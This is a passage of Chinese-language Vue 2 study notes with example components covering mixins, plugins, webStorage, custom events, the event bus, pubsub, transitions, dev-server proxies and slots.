    import Vue from 'vue'
    //引入App
    import App from './App.vue'
    
    //关闭Vue的生产提示
    Vue.config.productionTip = false
    
    // 全局混合,给所有的vm和vc得到混合
    import { hunhe, hunhe2 } from './mixin'
    Vue.mixin(hunhe)
    Vue.mixin(hunhe2)
    
    //创建vm
    new Vue({
    	el: '#app',
    	render: h => h(App)
    })
    

    mixin.js

    export const hunhe = {
    	methods: {
    		showName(){
    			alert(this.name)
    		}
    	},
    	mounted() {
    		console.log('你好啊!')
    	},
    }
    export const hunhe2 = {
    	data() {
    		return {
    			x:100,
    			y:200
    		}
    	},
    }
    

    9.插件

  3. 功能:用于增强Vue

  4. 本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。

  5. 定义插件:

    对象.install = function (Vue, options) {
        // 1. 添加全局过滤器
        Vue.filter(....)
    
        // 2. 添加全局指令
        Vue.directive(....)
    
        // 3. 配置全局混入(合)
        Vue.mixin(....)
    
        // 4. 添加实例方法
        Vue.prototype.$myMethod = function () {...}
        Vue.prototype.$myProperty = xxxx
    }
    
  6. 使用插件:Vue.use()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ei4WHMwO-1645084242295)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220209172837247.png)]

plugins.js

export default {
	install(Vue, x, y, z) {
		// 接收参数
		console.log(x, y, z)
		//全局过滤器,从第一位开始,找到前四个
		Vue.filter('mySlice', function (value) {
			return value.slice(0, 4)
		})

		//定义全局指令,自动获取焦点
		Vue.directive('fbind', {
			//指令与元素成功绑定时(一上来)
			bind(element, binding) {
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element, binding) {
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element, binding) {
				element.value = binding.value
			}
		})

		//定义混入
		Vue.mixin({
			data() {
				return {
					x: 100,
					y: 200
				}
			},
		})

		//给Vue原型上添加一个方法(vm和vc就都能用了)
		Vue.prototype.hello = () => { alert('你好啊') }
	}
}

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//引入插件
import plugins from './plugins'
//应用(使用)插件
Vue.use(plugins, 1, 2, 3)
// 传入参数

//创建vm
new Vue({
	el: '#app',
	render: h => h(App)
})

School.vue

<template>
	<div>
		<h2>学校名称:{{name | mySlice}}</h2>
		<h2>学校地址:{{address}}</h2>
		<button @click="test">点我测试一个hello方法</button>
	</div>
</template>

<script>
	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷atguigu',
				address:'北京',
			}
		},
		methods: {
			test(){
				this.hello()
			}
		},
	}
</script>

Student.vue

<template>
	<div>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
		<input type="text" v-fbind:value="name">
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男'
			}
		},
	}
</script>

App.vue

<template>
	<div>
		<School/>
		<hr>
		<Student/>
	</div>
</template>

<script>
	import School from './components/School'
	import Student from './components/Student'

	export default {
		name:'App',
		components:{School,Student}
	}
</script>

10.scoped样式

如果不同组件起了相同的样式名,会造成样式冲突,在App.vue中后import导入的组件样式会覆盖前面一个组件的同名样式,所以用scoped解决。最好不要再App.vue的style中加入scoped,因为他是汇总组件,写在其中的样式为公共样式。

  1. 作用:让样式在局部生效,防止冲突。
  2. 写法:
<style lang="less" scoped> 
//lang =''规定了用什么来写style,不写默认为css,less或css,
    //脚手架处理不了less,可以安装npim -i less-loader
    //npm view less-loader versions查看版本 默认最新版
   // npm i less-loader@7
	.demo{
		background-color: pink;
	}
</style>

11.TodoList案例

实现以下记事本功能:Github仓库

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EmEdJqdL-1645084242296)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220210173102519.png)]

总结TodoList案例:

  1. 组件化编码流程:

    ​ (1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。

    ​ (2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:

    ​ 1).一个组件在用:放在组件自身即可。

    ​ 2). 一些组件在用:放在他们共同的父组件上(状态提升)。

    ​ (3).实现交互:从绑定事件开始。

  2. props适用于:

    ​ (1).父组件 ==> 子组件 通信

    ​ (2).子组件 ==> 父组件 通信(要求父先给子一个函数)

  3. 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!

  4. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

12.webStorage

  1. 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)

  2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

  3. 相关API:

    1. ```xxxxxStorage.setItem('key', 'value');```
    
        该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。
        
        值为字符串,如果存入的值为对象,则将其转换为字符串后存入
    
    2. ```xxxxxStorage.getItem('person');```
    
       该方法接受一个键名作为参数,返回键名对应的值。对象转字符串后存入,取出后需将其重新转化为对象
    
    3. ```xxxxxStorage.removeItem('key');```
    
       该方法接受一个键名作为参数,并把该键名从存储中删除。
    
    4. ```xxxxxStorage.clear()```
    
       该方法会清空存储中的所有数据。
    
  4. 备注:

  5. SessionStorage存储的内容会随着浏览器窗口关闭而消失。

  6. LocalStorage存储的内容,需要手动清除才会消失。

  7. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getItem的返回值是null。

  8. JSON.parse(null)的结果依然是null。

localStorage.html文件:

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>localStorage</title>
</head>

<body>
	<h2>localStorage</h2>
	<button onclick="saveData()">点我保存一个数据</button>
	<button onclick="readData()">点我读取一个数据</button>
	<button onclick="deleteData()">点我删除一个数据</button>
	<button onclick="deleteAllData()">点我清空一个数据</button>

	<script type="text/javascript">
		let p = { name: '张三', age: 18 }

		function saveData() {
			localStorage.setItem('msg', 'hello!!!')
			localStorage.setItem('msg2', 666)
			localStorage.setItem('person', JSON.stringify(p))
		}
                
		function readData() {
			console.log(localStorage.getItem('msg'))
			console.log(localStorage.getItem('msg2'))
			const result = localStorage.getItem('person')
			JSON.parse(result)
			// console.log(localStorage.getItem('msg3'))
		}
                
		function deleteData() {
			localStorage.removeItem('msg2')
		}
                
		function deleteAllData() {
			localStorage.clear()
		}
	</script>
</body>
</html>
复制代码

sessionStorage.html文件

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>sessionStorage</title>
	</head>
	<body>
		<h2>sessionStorage</h2>
		<button onclick="saveData()">点我保存一个数据</button>
		<button onclick="readData()">点我读取一个数据</button>
		<button onclick="deleteData()">点我删除一个数据</button>
		<button onclick="deleteAllData()">点我清空一个数据</button>

		<script type="text/javascript" >
			let p = {name:'张三',age:18}

			function saveData(){
				sessionStorage.setItem('msg','hello!!!')
				sessionStorage.setItem('msg2',666)
				sessionStorage.setItem('person',JSON.stringify(p))
			}
			function readData(){
				console.log(sessionStorage.getItem('msg'))
				console.log(sessionStorage.getItem('msg2'))

				const result = sessionStorage.getItem('person')
				console.log(JSON.parse(result))

				// console.log(sessionStorage.getItem('msg3'))
			}
			function deleteData(){
				sessionStorage.removeItem('msg2')
			}
			function deleteAllData(){
				sessionStorage.clear()
			}
		</script>
	</body>
</html>

13.组件的自定义事件

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。

  3. 绑定自定义事件:

    1. 第一种方式,在父组件中:<Demo @atguigu="test"/><Demo v-on:atguigu="test"/>

    2. 第二种方式,在父组件中:

      <Demo ref="demo"/>
      ......
      mounted(){
         this.$refs.xxx.$on('atguigu',this.test)
      }
      
    3. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。

  4. 触发自定义事件:this.$emit('atguigu',数据)

  5. 解绑自定义事件this.$off('atguigu')

  6. 组件上也可以绑定原生DOM事件,需要使用native修饰符,否则会被当成自定义事件。

  7. 注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!

App.vue

<template>
  <div class="app">
    <h1>{{ msg }},学生姓名是:{{ studentName }}</h1>

    <!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 -->
    <School :getSchoolName="getSchoolName" />

    <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(方法一,使用@或v-on) -->
    <!-- <Student @atguigu="getStudentName" @demo="m1" /> -->
    <!-- 方法一:2.给student组件的实例对象vc绑定一个事件 -->

    <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(方法二,使用ref) -->
    <Student ref="student" @click.native="show" />
    <!-- 方法二:2.给student绑定ref获取组件实例对象 -->
  </div>
</template>

<script>
import Student from "./components/Student";
import School from "./components/School";

export default {
  name: "App",
  components: { School, Student },
  data() {
    return {
      msg: "你好啊!",
      studentName: "",
    };
  },
  methods: {
    getSchoolName(name) {
      console.log("App收到了学校名:", name);
    },
    getStudentName(name, ...params) {
      //方法一/二:1.定义一个方法
      console.log("App收到了学生名:", name, params);
      //   接收name和一个数组对象,数组内存储着其余参数
      this.studentName = name;
    },
    m1() {
      console.log("demo事件被触发了!");
    },
    show() {
      alert(123);
    },
  },
  mounted() {
    // 方法二:3.App.vue挂载完毕,获取student的组件实例对象,绑定自定义事件
    this.$refs.student.$on("atguigu", this.getStudentName); //绑定自定义事件
    // this.$refs.student.$once('atguigu',this.getStudentName) //绑定自定义事件(一次性)
  },
};
</script>

<style scoped>
.app {
  background-color: gray;
  padding: 5px;
}
</style>

student.vue

<template>
  <div class="student">
    <h2>学生姓名:{{ name }}</h2>
    <h2>学生性别:{{ sex }}</h2>
    <h2>当前求和为:{{ number }}</h2>
    <button @click="add">点我number++</button><!-- 方法一:3.定义 sendStudentlName点击事件-->
    <button @click="sendStudentlName">把学生名给App</button>
    <button @click="unbind">解绑atguigu事件</button>
    <button @click="death">销毁当前Student组件的实例(vc)</button>
  </div>
</template>

<script>
export default {
  name: "Student",
  data() {
    return {
      name: "张三",
      sex: "男",
      number: 0,
    };
  },
  methods: {
    add() {
      console.log("add回调被调用了");
      this.number++;
    },
    sendStudentlName() {
      //方法一/二:4.触发Student组件实例身上的atguigu事件
      this.$emit("atguigu", this.name, 666, 888, 900);
      // this.$emit("demo");
      // 触发Student组件实例身上的demo事件
      // this.$emit('click')
    },
    unbind() {
      this.$off("atguigu"); //解绑一个自定义事件
      // this.$off(['atguigu','demo']) //解绑多个自定义事件
      // this.$off() //解绑所有的自定义事件
    },
    death() {
      this.$destroy();
      //销毁了当前Student组件的实例,销毁后所有Student实例的自定义事件全都不奏效,
      // 原生DOM事件不受影响,但页面响应式丢了。
    },
  },
};
</script>

<style scoped>
.student {
  background-color: pink;
  padding: 5px;
  margin-top: 30px;
}
</style>

school.vue

<template>
	<div class="school">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
		<button @click="sendSchoolName">把学校名给App</button>
	</div>
</template>

<script>
	export default {
		name:'School',
		props:['getSchoolName'],
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
			}
		},
		methods: {
			sendSchoolName(){
				this.getSchoolName(this.name)
			}
		},
	}
</script>

<style scoped>
	.school{
		background-color: skyblue;
		padding: 5px;
	}
</style>

14.全局事件总线(GlobalEventBus)

 1.Vue原型对象上包含事件处理的方法
     1)$on(eventName,listener):绑定自定义事件监听
     2)$emit(eventName,data):分发自定义事件
     3)$off(eventName):解绑自定义事件监听
     4)$once(eventName,listener):绑定事件监听,但只能处理一次
2.所有组件实例对象的原型对象的原型对象就是Vue的原型对象
     1)所有组件对象都能看到Vue原型对象上的属性和方法
     2)Vue.prototype.$bus=new Vue(),所有的组件对象都能看到$bus这个属性对象
3.全局事件总线
     1)包含事件处理相关方法的对象(只有一个)
     2)所有的组件都可以得到
4.在组件销毁前记得解绑总线。
	 1)beforeDestroy() {
    	this.$bus.$off("hello");
     	}
  1. 一种组件间通信的方式,适用于任意组件间通信。

  2. 安装全局事件总线:

    new Vue({
    	......
    	beforeCreate() {
    		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
    	},
        ......
    }) 
    
  3. 使用事件总线:

    1. 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.$bus.$on('xxxx',this.demo)
        //回调methods提供的demo方法或直接使用箭头函数
      }
      
    2. 提供数据:

      //在提供数据的组件的methods中书写
       this.$bus.$emit('xxxx',数据)
      
  4. 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	beforeCreate() {
		Vue.prototype.$bus = this //安装全局事件总线
	},
})

App.vue

<template>
	<div class="app">
		<h1>{{msg}}</h1>
		<School/>
		<Student/>
	</div>
</template>

<script>
	import Student from './components/Student'
	import School from './components/School'

	export default {
		name:'App',
		components:{School,Student},
		data() {
			return {
				msg:'你好啊!',
			}
		}
	}
</script>

<style scoped>
	.app{
		background-color: gray;
		padding: 5px;
	}
</style>

Student.vue

<template>
  <div class="student">
    <h2>学生姓名:{{ name }}</h2>
    <h2>学生性别:{{ sex }}</h2>
    <button @click="sendStudentName">把学生名给School组件</button>
  </div>
</template>

<script>
export default {
  name: "Student",
  data() {
    return {
      name: "张三",
      sex: "男",
    };
  },
  mounted() {
    // console.log('Student',this.x)
  },
  methods: {
    sendStudentName() {
      this.$bus.$emit("hello", this.name);
      //提供数据,将student组件中的数据传递给school
    },
  },
};
</script>

<style  scoped>
.student {
  background-color: pink;
  padding: 5px;
  margin-top: 30px;
}
</style>

School.vue

<template>
  <div class="school">
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
  </div>
</template>

<script>
export default {
  name: "School",
  data() {
    return {
      name: "尚硅谷",
      address: "北京",
    };
  },
  mounted() {
    // console.log('School',this)
    this.$bus.$on("hello", (data) => {
      console.log("我是School组件,收到了数据", data);
    });
  },
  beforeDestroy() {
    this.$bus.$off("hello");
    // 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件,一定要写解绑的事件名,否则就全部解绑了
  },
};
</script>

<style scoped>
.school {
  background-color: skyblue;
  padding: 5px;
}
</style>

15.消息订阅与发布(pubsub)

1.这种方式的思想与全局事件总线很相似
2.它包含以下操作:
(1)订阅消息–对应绑定事件监听
(2)发布消息–分发事件
(3)取消消息订阅–解绑事件监听
3.需要引入一个消息订阅与发布的第三方实现库
1.在线文档
2.下载:npminstall-Spubsub-js
3.相关语法:

(1)import PubSub from ‘pubsub-js’//引入
(2)PubSub.subscribe(‘msgName’,functon(msgName,data){})订阅消息
(3)PubSub.publish(‘msgName’,data):发布消息,触发订阅的回调函数调用
(4)PubSub.unsubscribe(token):取消消息的订阅

  1. 一种组件间通信的方式,适用于任意组件间通信。
  2. 使用步骤:
    1. 安装pubsub:npm i pubsub-js
    2. 在订阅和发布消息的文件中引入: import pubsub from 'pubsub-js'
    3. 接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。
   methods: {
    demo(msgName, data) {
      console.log(
        "有人发布了hello消息,hello消息的回调执行了",
        msgName,
        data,
        this
      );
    },
  },
      ......
      this.pubId = pubsub.subscribe("hello", this.demo);
  1. 提供数据:B组件传递数据,则在B组件中发布消息
methods: {
    sendStudentName() {
      // 发布消息:pubsub.publish(事件名,参数),
      pubsub.publish("hello", 666);
    },
  },
  1. 最好在beforeDestroy钩子中,用PubSub.unsubscribe(pid)去取消订阅。

Student.vue

<template>
  <div class="student">
    <h2>学生姓名:{{ name }}</h2>
    <h2>学生性别:{{ sex }}</h2>
    <button @click="sendStudentName">把学生名给School组件</button>
  </div>
</template>

<script>
import pubsub from "pubsub-js";
// 引入pubsub-js,pubsub是一个对象
export default {
  name: "Student",
  data() {
    return {
      name: "张三",
      sex: "男",
    };
  },
  methods: {
    sendStudentName() {
      // 发布消息:pubsub.publish(事件名,参数),
      pubsub.publish("hello", 666);
    },
  },
};
</script>

<style  scoped>
.student {
  background-color: pink;
  padding: 5px;
  margin-top: 30px;
}
</style>

School.vue

<template>
  <div class="school">
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
  </div>
</template>

<script>
import pubsub from "pubsub-js";
// 引入pubsub-js,pubsub是一个对象
export default {
  name: "School",
  data() {
    return {
      name: "尚硅谷",
      address: "北京",
    };
  },
  methods: {
    demo(msgName, data) {
      console.log(
        "有人发布了hello消息,hello消息的回调执行了",
        msgName,
        data,
        this
      );
    },
  },
  mounted() {
    /*订阅消息:pubsub.subscribe(消息名,回调函数function(消息名,传入的参数){
  				console.log('有人发布了hello消息,hello消息的回调执行了',msgName,data)
				   console.log(this);
				 
                                 这里this为undefined,想要避免有如下两种方法
	})
	*/

    //  方法一:this调用methods方法
    // this.pubId = pubsub.subscribe("hello", this.demo);

    // 方法二:使用箭头函数
    this.pubId = pubsub.subscribe("hello", (msgName, data) => {
      console.log("有人发布了hello消息,hello消息的回调执行了", msgName, data);
      console.log(this);
    });
  },
  beforeDestroy() {
    // 取消订阅
    pubsub.unsubscribe(this.pubId);
  },
};
</script>

<style scoped>
.school {
  background-color: skyblue;
  padding: 5px;
}
</style>

剩余文件跟全局事件总线一致,只是不需要安装全局事件总线,但是需要导入文件

16.nextTick

  1. 语法:this.$nextTick(回调函数)
  2. 作用:在下一次 DOM 更新结束后执行其指定的回调。
  3. 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。

17.Vue封装的过度与动画

  1. 作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名。

  2. 图示:

  3. 写法:

    1. 准备好样式:

      • 元素进入的样式:
        1. v-enter:进入的起点
        2. v-enter-active:进入过程中
        3. v-enter-to:进入的终点
      • 元素离开的样式:
        1. v-leave:离开的起点
        2. v-leave-active:离开过程中
        3. v-leave-to:离开的终点
    2. 使用<transition>包裹要过度的元素,并配置name属性:

      <transition name="hello">
      	<h1 v-show="isShow">你好啊!</h1>
      </transition>
      
    3. 备注:若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key值。

用动画实现:

<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <transition name="hello" appear>
      <h1 v-show="isShow">你好啊!</h1>
    </transition>
  </div>
</template>

<script>
export default {
  name: "Test",
  data() {
    return {
      isShow: true,
    };
  },
};
</script>

<style scoped>
h1 {
  background-color: orange;
}
/* 用动画实现 */
.hello-enter-active {
  animation: atguigu 0.5s linear;
}
/* transition添加name属性之后
默认的v-enter-active改为name-enter-active
*/
.hello-leave-active {
  animation: atguigu 0.5s linear reverse;
}

@keyframes atguigu {
  from {
    transform: translateX(-100%);
  }
  to {
    transform: translateX(0px);
  }
}
</style>

用过渡实现:

<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <transition-group name="hello" appear>
      <h1 v-show="!isShow" key="1">你好啊!</h1>
      <h1 v-show="isShow" key="2">尚硅谷!</h1>
    </transition-group>
    <!-- 多个元素过渡 -->
  </div>
</template>

<script>
export default {
  name: "Test",
  data() {
    return {
      isShow: true,
    };
  },
};
</script>

<style scoped>
h1 {
  background-color: orange;
}
/* 用过度实现 */
/* 进入的起点、离开的终点 */
.hello-enter,.hello-leave-to {
  transform: translateX(-100%);
}

/* 过渡过程 */
.hello-enter-active,.hello-leave-active {
  transition: 0.5s linear;
}

/* 进入的终点、离开的起点 */
.hello-enter-to,.hello-leave {
  transform: translateX(0);
}
</style>

用第三方动画库实现:

Animate.css

<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <!--在name中加入 animate__animated animate__bounce-->
    <transition-group
      appear
      name="animate__animated animate__bounce"
      enter-active-class="animate__backInUp"
      leave-active-class="animate__backOutUp"
    >
      <h1 v-show="!isShow" key="1">你好啊!</h1>
      <h1 v-show="isShow" key="2">尚硅谷!</h1>
    </transition-group>
  </div>
</template>

<script>
import "animate.css";
export default {
  name: "Test",
  data() {
    return {
      isShow: true,
    };
  },
};
</script>

<style scoped>
h1 {
  background-color: orange;
}
</style>

四、Vue中的ajax

1、vue脚手架配置代理

解决开发环境Ajax跨域问题

Vue CLI文档

npm i axios

方法一 全部代理

​ 在vue.config.js中添加如下配置:

devServer:{
  proxy:"http://localhost:5000"
  //配置代理服务器,这个路径端口号要与传送数据的服务器端口号一致
}

说明:

  1. 优点:配置简单,请求资源时直接发给前端(8080)即可。
  2. 缺点:不能配置多个代理。不能灵活的控制请求是否走代理,这会告诉开发服务器将任何未知请求 (没有匹配到静态文件的请求) 代理到http://localhost:5000
  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 ,自身带有同名资源,则优先使用自身资源(优先匹配前端资源)。

方法二 分host代理多个代理

​ 编写vue.config.js配置具体代理规则:

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径,路径到5000就不往后写了
        changeOrigin: true,
        pathRewrite: {'^/api1': ''} //重写路径
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''} //重写路径
      }
    }
  }
}
/*
   changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
   changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
   changeOrigin默认值为true
*/

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点:配置略微繁琐,请求资源时必须加前缀。

vue.config.js

module.exports = {
    pages: {
        index: {
            // page 的入口
            entry: 'src/main.js',

        },
    },
    lintOnSave: false, //关闭语法检查
    //开启代理服务器(方式一)
    // devServer: {
    //     proxy: 'http://localhost:5000'
    // },
    //开启代理服务器(方式二)
    devServer: {
        proxy: {
            // /atguigu ,/demo 叫前缀
            '/atguigu': {
                target: 'http://localhost:5000',
                // 路径到5000就不往后写了
                pathRewrite: { '^/atguigu': '' },
                // 取消发送请求的前缀名
                // ws: true, //用于支持websocket,不写默认为true
                // changeOrigin: true //用于控制请求头中的host值,不写默认为true
            },
            '/demo': {
                target: 'http://localhost:5001',
                pathRewrite: { '^/demo': '' },
                // ws: true, //用于支持websocket
                // changeOrigin: true //用于控制请求头中的host值
            }
        }
    }
}

App.vue

<template>
  <div>
    <button @click="getStudents">获取学生信息</button>
    <button @click="getCars">获取汽车信息</button>
  </div>
</template>

<script>
import axios from "axios";
// 引入axios,需要先下载,npm i axios

export default {
  name: "App",
  methods: {
    //   方式一:axios url就是请求地址http://localhost:8080/students
   getStudents() {
      axios.get("http://localhost:8080/students").then(
        // 将端口号改为默认的端口号
        (response) => {
          console.log("请求成功了", response.data);
        },
        (error) => {
          console.log("请求失败了", error.message);
        }
      );
    },
  // 方式二:axios url请求在端口号之后加上前缀名
    getStudents() {
      axios.get("http://localhost:8080/atguigu/students").then(
        // 将端口号改为默认的端口号
        (response) => {
          console.log("请求成功了", response.data);
        },
        (error) => {
          console.log("请求失败了", error.message);
        }
      );
    },
    // 方式二:axios url请求在端口号之后加上前缀名
    getCars() {
      axios.get("http://localhost:8080/demo/cars").then(
        (response) => {
          console.log("请求成功了", response.data);
        },
        (error) => {
          console.log("请求失败了", error.message);
        }
      );
    },
  },
};
</script>

2、 AJAX案例实操

Github_user_page搜索案例

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AiC5JK7g-1645084242298)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220213032701533.png)]

3、vue-resource(发送AJAX的插件库)

1.先安装插件库
npm i vue-resource
2.在main.js中引入插件库
//引入插件
import vueResource from 'vue-resource'
3.在main.js中使用插件
//使用插件
Vue.use(vueResource)
4.使用方法与axios一致,只是吧axios.get()替换成this.$http.get()

4、插槽

父组件向子组件传递带数据的标签,当一个组件有不确定的结构时,就需要使用slot技术,注意:插槽内容是在父组件中编译后,再传递给子组件的。

  1. 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于父组件 ===> 子组件

  2. 分类:默认插槽、具名插槽、作用域插槽

  3. 使用方式:

    1. 默认插槽:

      父组件中:
              <Category>
                 <div>html结构1</div>
              </Category>
      子组件中:
              <template>
                  <div>
                     <!-- 定义插槽 -->
                     <slot>插槽默认内容...</slot>
                  </div>
              </template>
      
    2. 具名插槽:

      父组件中:
              <Category>
                  <div slot="center">
      <!-- 放入指定名字的插槽中-->
                    <div>html结构1</div>
                  </div>
      <!-- 两种写法,但 v-slot:footer只能用在template标签中-->
                  <template v-slot:footer>
                     <div>html结构2</div>
                  </template>
              </Category>
      子组件中:
              <template>
                  <div>
                     <!-- 定义插槽 -->
                     <slot name="center">插槽默认内容...</slot>
                     <slot name="footer">插槽默认内容...</slot>
                  </div>
              </template>
      
    3. 作用域插槽:

      1. 理解:数据在组件的自身(在slot插槽定义的那个组件里面),但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

      2. 具体编码:

            父组件中:
                   <Category>
                   //必须包裹template标签,scope属性标签必带,收到数据,但" "内名字随意起
                           <template scope="scopeData">
                                   <!-- 生成的是ul列表 -->
                                   <ul>
                                        <li v-for="g in scopeData.games" :key="g">{{g}}</li>
                                   </ul>
                           </template>
                   </Category>
        
                   <Category>
                           <template slot-scope="scopeData">
                                   <!-- 生成的是h4标题 -->
                                <h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
                           </template>
                   </Category>
            子组件中:
            <template>
                <div>
                    <slot :games="games"></slot>
                    //通过插槽将数据从子组件传递给父组件
                </div>
            </template>
        
            <script>
                export default {
                    name:'Category',
                    props:['title'],
                    //数据在子组件自身
                    data() {
                        return {
                            games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                        }
                    },
                }
            </script>
        

      **备注:作用域插槽也可以取名字

      Category.vue:
      			<slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现1</slot>
      
      App.vue:
      			<template scope="atguigu" slot="center">
      			</template>
      

1.不使用插槽

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ftd1GfH9-1645084242300)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220213033614078.png)]

Category

<template>
  <div class="category">
    <h3>{{ title }}分类</h3>
    <ul>
      <li v-for="(item, index) in listData" :key="index">{{ item }}</li>
    </ul>
  </div>
</template>

<script>
export default {
  name: "Category",
  props: ["title", "listData"],
};
</script>

<style scoped>
.category {
  background-color: skyblue;
  width: 200px;
  height: 300px;
}
h3 {
  text-align: center;
  background-color: orange;
}
video {
  width: 100%;
}
img {
  width: 100%;
}
</style>

App.vue

<template>
  <div class="container">
    <Category title="美食" :listData="foods"></Category>
    <Category title="游戏" :listData="games"></Category>
    <Category title="电影" :listData="films"></Category>
  </div>
</template>

<script>
import Category from "./components/Category";
export default {
  name: "App",
  components: { Category },
  data() {
    return {
      foods: ["火锅", "烧烤", "小龙虾", "牛排"],
      games: ["红色警戒", "穿越火线", "劲舞团", "超级玛丽"],
      films: ["《教父》", "《拆弹专家》", "《你好,李焕英》", "《与神同行》"],
    };
  },
};
</script>

<style scoped>
.container {
  display: flex;
  justify-content: space-around;
}
</style>

2.默认插槽

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1fc7bVZ9-1645084242300)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220213033644700.png)]

App.vue

<template>
	<div class="container">
		<Category title="美食" >
			<img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
		</Category>

		<Category title="游戏" >
			<ul>
			     <li v-for="(g,index) in games" :key="index">{{g}}</li>
			</ul>
		</Category>

		<Category title="电影">
			<video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
		</Category>
	</div>
</template>

<script>
	import Category from './components/Category'
	export default {
		name:'App',
		components:{Category},
		data() {
			return {
                            foods:['火锅','烧烤','小龙虾','牛排'],
                            games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
                            films:['《教父》','《拆弹专家》','《你好,李焕英》','《与神同行》']
			}
		},
	}
</script>

<style scoped>
	.container{
		display: flex;
		justify-content: space-around;
	}
</style>

Category

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
		<slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title']
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

3.具名插槽

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rS0k2ktl-1645084242301)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220213033714972.png)]

Category

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
		<slot name="center">定义一个名为center的插槽</slot>
		<slot name="footer">定义一个名为footer的插槽</slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title']
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
